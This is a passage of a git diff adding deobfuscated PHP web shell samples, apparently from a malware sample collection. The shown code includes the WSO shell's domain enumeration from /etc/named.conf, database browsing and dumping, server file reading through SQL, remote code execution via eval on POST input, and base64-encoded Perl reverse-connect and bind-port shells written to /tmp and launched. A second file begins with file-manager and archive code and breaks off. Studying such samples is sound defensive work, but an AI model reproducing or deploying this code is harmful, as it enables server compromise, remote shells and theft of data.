";
+ if (isset($_POST['p1'])) {
+ if ($_POST['indexit']) {
+ if ($_POST['option'] == "Only for Selected Folder") {
+ do_it();
+ } elseif ($_POST['option'] == "For all Sub Folders") {
+ do_it_all();
+ } else {
+ echo "Please select one option to work on it !!";
+ }
+ }
+ }
+ wsoFooter();
+ }
+ function actionDomain() {
+ wsoHeader();
+ echo "
";
+ $d0mains = @file("/etc/named.conf");
+ if (!$d0mains) {
+ echo "
Can't ReaD -> [/etc/named.conf]";
+ } else {
+ echo "
+| Domain | User |
";
+ foreach ($d0mains as $d0main) {
+ if (eregi("zone", $d0main)) {
+ preg_match_all('#zone "(.*)"#', $d0main, $domains);
+ flush();
+ if (strlen(trim($domains[1][0])) > 2) {
+ $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
+ echo "| " . $domains[1][0] . " | " . $user['name'] . " |
";
+ flush();
+ }
+ }
+ }
+ echo "
+
";
+ }
+ wsoFooter();
+ }
+ function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname) {
+ switch ($this->type) {
+ case 'mysql':
+ if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if (!$host[1]) $host[1] = 5432;
+ if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch ($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db)) return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch ($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args() ? func_get_arg(0) : $this->res;
+ switch ($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch ($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_list_dbs($this->link);
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch ($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch ($this->type) {
+ case 'mysql':
+ return @mysql_error($this->link);
+ break;
+ case 'pgsql':
+ return @pg_last_error($this->link);
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch ($this->type) {
+ case 'mysql':
+ if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
+ else $this->query('SET CHARSET ' . $str);
+ break;
+ case 'pgsql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function loadFile($str) {
+ switch ($this->type) {
+ case 'mysql':
+ return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
+ break;
+ case 'pgsql':
+ $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
+ $r = array();
+ while ($i = $this->fetch()) $r[] = $i['file'];
+ $this->query('drop table wso2');
+ return array('file' => implode("
+", $r));
+ break;
+ }
+ return false;
+ }
+ function dump($table) {
+ switch ($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
+ $create = mysql_fetch_array($res);
+ echo $create[1] . ";
+
+";
+ $this->query('SELECT * FROM `' . $table . '`');
+ while ($item = $this->fetch()) {
+ $columns = array();
+ foreach ($item as $k => $v) {
+ $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
+ $columns[] = "`" . $k . "`";
+ }
+ echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
+";
+ }
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM ' . $table);
+ while ($item = $this->fetch()) {
+ $columns = array();
+ foreach ($item as $k => $v) {
+ $item[$k] = "'" . addslashes($v) . "'";
+ $columns[] = $k;
+ }
+ echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
+";
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if (@$_POST['p2'] == 'download') {
+ ob_start("ob_gzhandler", 4096);
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach ($_POST['tbl'] as $v) $db->dump($v);
+ exit;
+ }
+ wsoHeader();
+ echo "
+
Sql browser
+
";
+ if (@$_POST['p1'] == 'loadfile') {
+ $file = $db->loadFile($_POST['p2']);
+ echo '
' . htmlspecialchars($file['file']) . '
';
+ }
+ }
+ echo '
';
+ wsoFooter();
+ }
+ function actionNetwork() {
+ wsoHeader();
+ $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
+ $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
+ echo "
Network tools
+
+
";
+ if (isset($_POST['p1'])) {
+ function cf($f, $t) {
+ $w = @fopen($f, "w") or @function_exists('file_put_contents');
+ if ($w) {
+ @fwrite($w, base64_decode($t));
+ @fclose($w);
+ }
+ }
+ if ($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl", $bind_port_p);
+ $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
+ echo "
$out
+" . wsoEx("ps aux | grep bp.pl") . "";
+ }
+ if ($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl", $back_connect_p);
+ $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
+ echo "
$out
+" . wsoEx("ps aux | grep bc.pl") . "";
+ }
+ }
+ echo '
';
+ wsoFooter();
+ }
+ function actionRC() {
+ if (!@$_POST['p1']) {
+ $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => VERSION, "safemode" => @ini_get('safe_mode'));
+ echo serialize($a);
+ } else {
+ eval($_POST['p1']);
+ }
+ }
+ if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
+ else $_POST['a'] = 'SecInfo';
+ if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
+ exit;
+?>
\ No newline at end of file
diff --git a/Deobfuscated/WebShell_b28355fd3547d109f06ed2e641179b98faf81170.php b/Deobfuscated/WebShell_b28355fd3547d109f06ed2e641179b98faf81170.php
new file mode 100644
index 0000000..7f62a2d
--- /dev/null
+++ b/Deobfuscated/WebShell_b28355fd3547d109f06ed2e641179b98faf81170.php
@@ -0,0 +1,1066 @@
+$v) {
+ if(!preg_match("/^\./", $v)) {
+ if(is_dir($dir . DS . $v) || !$dirs_only) {
+ if(!$writable || is_writeable($dir . DS . $v)) {
+ $content[] = $dir . DS . $v ;
+ }
+ }
+ }
+ if(!preg_match("/^\./", $v) && is_dir($dir . DS . $v)) {
+ if($maxdepth > 0) {
+ $__content = scandir_rec($dir . DS . $v, $dirs_only, $maxdepth-1, $writable, true) ;
+ if($__content) {
+ foreach($__content as $kk=>$vv) {
+ if(is_dir($dir . DS . $v) || !$dirs_only) {
+ if(!$writable || is_writeable($dir . DS . $vv)) {
+ $content[] = $vv ;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ return $content ;
+}
+
+function cust_function_exists($function) {
+ $disabled = explode(', ', ini_get('disable_functions'));
+ return !in_array($function, $disabled) && function_exists($function);
+}
+
+function deleteDir($path) {
+ $path = (substr($path,-1)=='/') ? $path:$path.'/';
+ $dh = opendir($path);
+ while ( ($item = readdir($dh) ) !== false) {
+ $item = $path.$item;
+ if ( (basename($item) == "..") || (basename($item) == ".") )
+ continue;
+ if (is_dir($item)) {
+ deleteDir($item);
+ } elseif(is_file($item)) {
+ @unlink($item);
+ }
+ }
+ closedir($dh);
+ @rmdir($path);
+}
+
+function smartCopy($source, $dest, $options=array('folderPermission'=>0777,'filePermission'=>0777)) {
+ $result=false;
+
+ if (is_file($source)) {
+ if ($dest[strlen($dest)-1]=='/') {
+ if (!file_exists($dest)) {
+ cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
+ }
+ $__dest=$dest."/".basename($source);
+ } else {
+ $__dest=$dest;
+ }
+ $result=copy($source, $__dest);
+ chmod($__dest,$options['filePermission']);
+
+ } elseif(is_dir($source)) {
+ if ($dest[strlen($dest)-1]=='/') {
+ if ($source[strlen($source)-1]=='/') {
+ //Copy only contents
+ } else {
+ //Change parent itself and its contents
+ $dest=$dest.basename($source);
+ @mkdir($dest);
+ chmod($dest,$options['filePermission']);
+ }
+ } else {
+ if ($source[strlen($source)-1]=='/') {
+ //Copy parent directory with new name and all its content
+ @mkdir($dest,$options['folderPermission']);
+ chmod($dest,$options['filePermission']);
+ } else {
+ //Copy parent directory with new name and all its content
+ @mkdir($dest,$options['folderPermission']);
+ chmod($dest,$options['filePermission']);
+ }
+ }
+
+ $dirHandle=opendir($source);
+ while($file=readdir($dirHandle))
+ {
+ if($file!="." && $file!="..")
+ {
+ if(!is_dir($source."/".$file)) {
+ $__dest=$dest."/".$file;
+ } else {
+ $__dest=$dest."/".$file;
+ }
+ //echo "$source/$file ||| $__dest
";
+ $result=smartCopy($source."/".$file, $__dest, $options);
+ }
+ }
+ closedir($dirHandle);
+
+ } else {
+ $result=false;
+ }
+ return $result;
+ }
+
+class archive
+{
+ function archive($name)
+ {
+ $this->options = array (
+ 'basedir' => ".",
+ 'name' => $name,
+ 'prepend' => "",
+ 'inmemory' => 0,
+ 'overwrite' => 0,
+ 'recurse' => 1,
+ 'storepaths' => 1,
+ 'followlinks' => 0,
+ 'level' => 3,
+ 'method' => 1,
+ 'sfx' => "",
+ 'type' => "",
+ 'comment' => ""
+ );
+ $this->files = array ();
+ $this->exclude = array ();
+ $this->storeonly = array ();
+ $this->error = array ();
+ }
+
+ function set_options($options)
+ {
+ foreach ($options as $key => $value)
+ $this->options[$key] = $value;
+ if (!empty ($this->options['basedir']))
+ {
+ $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
+ $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
+ $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
+ }
+ if (!empty ($this->options['name']))
+ {
+ $this->options['name'] = str_replace("\\", "/", $this->options['name']);
+ $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
+ }
+ if (!empty ($this->options['prepend']))
+ {
+ $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
+ $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
+ $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
+ $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
+ }
+ }
+
+ function create_archive()
+ {
+ $this->make_list();
+
+ if ($this->options['inmemory'] == 0)
+ {
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+ if ($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
+ {
+ $this->error[] = "File {$this->options['name']} already exists.";
+ chdir($pwd);
+ return 0;
+ }
+ else if ($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : ""), "wb+"))
+ chdir($pwd);
+ else
+ {
+ $this->error[] = "Could not open {$this->options['name']} for writing.";
+ chdir($pwd);
+ return 0;
+ }
+ }
+ else
+ $this->archive = "";
+
+ switch ($this->options['type'])
+ {
+ case "zip":
+ if (!$this->create_zip())
+ {
+ $this->error[] = "Could not create zip file.";
+ return 0;
+ }
+ break;
+ case "bzip":
+ if (!$this->create_tar())
+ {
+ $this->error[] = "Could not create tar file.";
+ return 0;
+ }
+ if (!$this->create_bzip())
+ {
+ $this->error[] = "Could not create bzip2 file.";
+ return 0;
+ }
+ break;
+ case "gzip":
+ if (!$this->create_tar())
+ {
+ $this->error[] = "Could not create tar file.";
+ return 0;
+ }
+ if (!$this->create_gzip())
+ {
+ $this->error[] = "Could not create gzip file.";
+ return 0;
+ }
+ break;
+ case "tar":
+ if (!$this->create_tar())
+ {
+ $this->error[] = "Could not create tar file.";
+ return 0;
+ }
+ }
+
+ if ($this->options['inmemory'] == 0)
+ {
+ fclose($this->archive);
+ if ($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
+ unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
+ }
+ }
+
+ function add_data($data)
+ {
+ if ($this->options['inmemory'] == 0)
+ fwrite($this->archive, $data);
+ else
+ $this->archive .= $data;
+ }
+
+ function make_list()
+ {
+ if (!empty ($this->exclude))
+ foreach ($this->files as $key => $value)
+ foreach ($this->exclude as $current)
+ if ($value['name'] == $current['name'])
+ unset ($this->files[$key]);
+ if (!empty ($this->storeonly))
+ foreach ($this->files as $key => $value)
+ foreach ($this->storeonly as $current)
+ if ($value['name'] == $current['name'])
+ $this->files[$key]['method'] = 0;
+ unset ($this->exclude, $this->storeonly);
+ }
+
+ function add_files($list)
+ {
+ $temp = $this->list_files($list);
+ foreach ($temp as $current)
+ $this->files[] = $current;
+ }
+
+ function exclude_files($list)
+ {
+ $temp = $this->list_files($list);
+ foreach ($temp as $current)
+ $this->exclude[] = $current;
+ }
+
+ function store_files($list)
+ {
+ $temp = $this->list_files($list);
+ foreach ($temp as $current)
+ $this->storeonly[] = $current;
+ }
+
+ function list_files($list)
+ {
+ if (!is_array ($list))
+ {
+ $temp = $list;
+ $list = array ($temp);
+ unset ($temp);
+ }
+
+ $files = array ();
+
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+
+ foreach ($list as $current)
+ {
+ $current = str_replace("\\", "/", $current);
+ $current = preg_replace("/\/+/", "/", $current);
+ $current = preg_replace("/\/$/", "", $current);
+ if (strstr($current, "*"))
+ {
+ $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
+ $regex = str_replace("*", ".*", $regex);
+ $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
+ $temp = $this->parse_dir($dir);
+ foreach ($temp as $current2)
+ if (preg_match("/^{$regex}$/i", $current2['name']))
+ $files[] = $current2;
+ unset ($regex, $dir, $temp, $current);
+ }
+ else if (@is_dir($current))
+ {
+ $temp = $this->parse_dir($current);
+ foreach ($temp as $file)
+ $files[] = $file;
+ unset ($temp, $file);
+ }
+ else if (@file_exists($current))
+ $files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
+ preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
+ substr($current, strrpos($current, "/") + 1) : $current),
+ 'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0,
+ 'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current));
+ }
+
+ chdir($pwd);
+
+ unset ($current, $pwd);
+
+ usort($files, array ("archive", "sort_files"));
+
+ return $files;
+ }
+
+ function parse_dir($dirname)
+ {
+ if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
+ $files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
+ preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
+ substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
+ else
+ $files = array ();
+ $dir = @opendir($dirname);
+
+ while ($file = @readdir($dir))
+ {
+ $fullname = $dirname . "/" . $file;
+ if ($file == "." || $file == "..")
+ continue;
+ else if (@is_dir($fullname))
+ {
+ if (empty ($this->options['recurse']))
+ continue;
+ $temp = $this->parse_dir($fullname);
+ foreach ($temp as $file2)
+ $files[] = $file2;
+ }
+ else if (@file_exists($fullname))
+ $files[] = array ('name' => $fullname, 'name2' => $this->options['prepend'] .
+ preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
+ substr($fullname, strrpos($fullname, "/") + 1) : $fullname),
+ 'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0,
+ 'ext' => substr($file, strrpos($file, ".")), 'stat' => stat($fullname));
+ }
+
+ @closedir($dir);
+
+ return $files;
+ }
+
+ function sort_files($a, $b)
+ {
+ if ($a['type'] != $b['type'])
+ if ($a['type'] == 5 || $b['type'] == 2)
+ return -1;
+ else if ($a['type'] == 2 || $b['type'] == 5)
+ return 1;
+ else if ($a['type'] == 5)
+ return strcmp(strtolower($a['name']), strtolower($b['name']));
+ else if ($a['ext'] != $b['ext'])
+ return strcmp($a['ext'], $b['ext']);
+ else if ($a['stat'][7] != $b['stat'][7])
+ return $a['stat'][7] > $b['stat'][7] ? -1 : 1;
+ else
+ return strcmp(strtolower($a['name']), strtolower($b['name']));
+ return 0;
+ }
+
+ function download_file()
+ {
+ if ($this->options['inmemory'] == 0)
+ {
+ $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
+ return;
+ }
+ switch ($this->options['type'])
+ {
+ case "zip":
+ header("Content-Type: application/zip");
+ break;
+ case "bzip":
+ header("Content-Type: application/x-bzip2");
+ break;
+ case "gzip":
+ header("Content-Type: application/x-gzip");
+ break;
+ case "tar":
+ header("Content-Type: application/x-tar");
+ }
+ $header = "Content-Disposition: attachment; filename=\"";
+ $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
+ $header .= "\"";
+ header($header);
+ header("Content-Length: " . strlen($this->archive));
+ header("Content-Transfer-Encoding: binary");
+ header("Cache-Control: no-cache, must-revalidate, max-age=60");
+ header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
+ print($this->archive);
+ }
+}
+
+class tar_file extends archive
+{
+ function tar_file($name)
+ {
+ $this->archive($name);
+ $this->options['type'] = "tar";
+ }
+
+ function create_tar()
+ {
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+
+ foreach ($this->files as $current)
+ {
+ if ($current['name'] == $this->options['name'])
+ continue;
+ if (strlen($current['name2']) > 99)
+ {
+ $path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1);
+ $current['name2'] = substr($current['name2'], strlen($path));
+ if (strlen($path) > 154 || strlen($current['name2']) > 99)
+ {
+ $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
+ continue;
+ }
+ }
+ $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", $current['name2'], sprintf("%07o",
+ $current['stat'][2]), sprintf("%07o", $current['stat'][4]), sprintf("%07o", $current['stat'][5]),
+ sprintf("%011o", $current['type'] == 2 ? 0 : $current['stat'][7]), sprintf("%011o", $current['stat'][9]),
+ " ", $current['type'], $current['type'] == 2 ? @readlink($current['name']) : "", "ustar ", " ",
+ "Unknown", "Unknown", "", "", !empty ($path) ? $path : "", "");
+
+ $checksum = 0;
+ for ($i = 0; $i < 512; $i++)
+ $checksum += ord(substr($block, $i, 1));
+ $checksum = pack("a8", sprintf("%07o", $checksum));
+ $block = substr_replace($block, $checksum, 148, 8);
+
+ if ($current['type'] == 2 || $current['stat'][7] == 0)
+ $this->add_data($block);
+ else if ($fp = @fopen($current['name'], "rb"))
+ {
+ $this->add_data($block);
+ while ($temp = fread($fp, 1048576))
+ $this->add_data($temp);
+ if ($current['stat'][7] % 512 > 0)
+ {
+ $temp = "";
+ for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
+ $temp .= "\0";
+ $this->add_data($temp);
+ }
+ fclose($fp);
+ }
+ else
+ $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
+ }
+
+ $this->add_data(pack("a1024", ""));
+
+ chdir($pwd);
+
+ return 1;
+ }
+
+ function extract_files()
+ {
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+
+ if ($fp = $this->open_archive())
+ {
+ if ($this->options['inmemory'] == 1)
+ $this->files = array ();
+
+ while ($block = fread($fp, 512))
+ {
+ $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp", $block);
+ $file = array (
+ 'name' => $temp['prefix'] . $temp['name'],
+ 'stat' => array (
+ 2 => $temp['mode'],
+ 4 => octdec($temp['uid']),
+ 5 => octdec($temp['gid']),
+ 7 => octdec($temp['size']),
+ 9 => octdec($temp['mtime']),
+ ),
+ 'checksum' => octdec($temp['checksum']),
+ 'type' => $temp['type'],
+ 'magic' => $temp['magic'],
+ );
+ if ($file['checksum'] == 0x00000000)
+ break;
+ else if (substr($file['magic'], 0, 5) != "ustar")
+ {
+ $this->error[] = "This script does not support extracting this type of tar file.";
+ break;
+ }
+ $block = substr_replace($block, " ", 148, 8);
+ $checksum = 0;
+ for ($i = 0; $i < 512; $i++)
+ $checksum += ord(substr($block, $i, 1));
+ if ($file['checksum'] != $checksum)
+ $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
+
+ if ($this->options['inmemory'] == 1)
+ {
+ $file['data'] = fread($fp, $file['stat'][7]);
+ fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
+ unset ($file['checksum'], $file['magic']);
+ $this->files[] = $file;
+ }
+ else if ($file['type'] == 5)
+ {
+ if (!is_dir($file['name']))
+ mkdir($file['name'], $file['stat'][2]);
+ }
+ else if ($this->options['overwrite'] == 0 && file_exists($file['name']))
+ {
+ $this->error[] = "{$file['name']} already exists.";
+ continue;
+ }
+ else if ($file['type'] == 2)
+ {
+ symlink($temp['symlink'], $file['name']);
+ chmod($file['name'], $file['stat'][2]);
+ }
+ else if ($new = @fopen($file['name'], "wb"))
+ {
+ fwrite($new, fread($fp, $file['stat'][7]));
+ fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
+ fclose($new);
+ chmod($file['name'], $file['stat'][2]);
+ }
+ else
+ {
+ $this->error[] = "Could not open {$file['name']} for writing.";
+ continue;
+ }
+ chown($file['name'], $file['stat'][4]);
+ chgrp($file['name'], $file['stat'][5]);
+ touch($file['name'], $file['stat'][9]);
+ unset ($file);
+ }
+ }
+ else
+ $this->error[] = "Could not open file {$this->options['name']}";
+
+ chdir($pwd);
+ }
+
+ function open_archive()
+ {
+ return @fopen($this->options['name'], "rb");
+ }
+}
+
+class gzip_file extends tar_file
+{
+ function gzip_file($name)
+ {
+ $this->tar_file($name);
+ $this->options['type'] = "gzip";
+ }
+
+ function create_gzip()
+ {
+ if ($this->options['inmemory'] == 0)
+ {
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+ if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}"))
+ {
+ fseek($this->archive, 0);
+ while ($temp = fread($this->archive, 1048576))
+ gzwrite($fp, $temp);
+ gzclose($fp);
+ chdir($pwd);
+ }
+ else
+ {
+ $this->error[] = "Could not open {$this->options['name']} for writing.";
+ chdir($pwd);
+ return 0;
+ }
+ }
+ else
+ $this->archive = gzencode($this->archive, $this->options['level']);
+
+ return 1;
+ }
+
+ function open_archive()
+ {
+ return @gzopen($this->options['name'], "rb");
+ }
+}
+
+class bzip_file extends tar_file
+{
+ function bzip_file($name)
+ {
+ $this->tar_file($name);
+ $this->options['type'] = "bzip";
+ }
+
+ function create_bzip()
+ {
+ if ($this->options['inmemory'] == 0)
+ {
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+ if ($fp = bzopen($this->options['name'], "wb"))
+ {
+ fseek($this->archive, 0);
+ while ($temp = fread($this->archive, 1048576))
+ bzwrite($fp, $temp);
+ bzclose($fp);
+ chdir($pwd);
+ }
+ else
+ {
+ $this->error[] = "Could not open {$this->options['name']} for writing.";
+ chdir($pwd);
+ return 0;
+ }
+ }
+ else
+ $this->archive = bzcompress($this->archive, $this->options['level']);
+
+ return 1;
+ }
+
+ function open_archive()
+ {
+ return @bzopen($this->options['name'], "rb");
+ }
+}
+
+class zip_file extends archive
+{
+ function zip_file($name)
+ {
+ $this->archive($name);
+ $this->options['type'] = "zip";
+ }
+
+ function create_zip()
+ {
+ $files = 0;
+ $offset = 0;
+ $central = "";
+
+ if (!empty ($this->options['sfx']))
+ if ($fp = @fopen($this->options['sfx'], "rb"))
+ {
+ $temp = fread($fp, filesize($this->options['sfx']));
+ fclose($fp);
+ $this->add_data($temp);
+ $offset += strlen($temp);
+ unset ($temp);
+ }
+ else
+ $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
+
+ $pwd = getcwd();
+ chdir($this->options['basedir']);
+
+ foreach ($this->files as $current)
+ {
+ if ($current['name'] == $this->options['name'])
+ continue;
+
+ $timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
+ $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
+ ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
+
+ $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate);
+
+ if ($current['stat'][7] == 0 && $current['type'] == 5)
+ {
+ $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
+ $block .= $current['name2'] . "/";
+ $this->add_data($block);
+ $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
+ (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
+ 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
+ $central .= $current['name2'] . "/";
+ $files++;
+ $offset += (31 + strlen($current['name2']));
+ }
+ else if ($current['stat'][7] == 0)
+ {
+ $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
+ $block .= $current['name2'];
+ $this->add_data($block);
+ $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
+ (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
+ 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
+ $central .= $current['name2'];
+ $files++;
